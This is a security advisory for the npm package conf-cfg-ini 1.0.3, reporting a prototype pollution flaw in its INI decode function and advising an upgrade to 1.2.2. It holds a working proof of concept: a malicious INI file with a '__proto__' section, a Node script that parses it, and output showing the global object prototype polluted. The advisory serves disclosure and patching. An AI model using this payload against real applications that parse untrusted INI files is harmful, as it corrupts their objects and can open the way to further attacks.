conf-cfg-ini@1.0.3 vulnerabilities

conf-cfg-ini is an encode and decode ini,conf,cfg files

Affected versions of this package are vulnerable to Prototype Pollution. If an attacker submits a malicious INI file to an application that parses it with decode, they will pollute the prototype on the application. This can be exploited further depending on the context.

##PoC by Eugene Lim:

payload.ini

[__proto__]
polluted=polluted

poc.js:

var fs = require('fs')
var Config = require('conf-cfg-ini')

var config = new Config();
config.options.lineEnding = config.detectLineEnding(fs.readFileSync('./payload.ini', 'utf-8'));
var parsed = config.decode(fs.readFileSync('./payload.ini', 'utf-8'))
console.log(parsed)
console.log(parsed.__proto__)
console.log({}.__proto__)
console.log(polluted)

> node poc.js
{}
{ polluted: 'polluted' }
{ polluted: 'polluted' }
polluted

Upgrade conf-cfg-ini to version 1.2.2 or higher.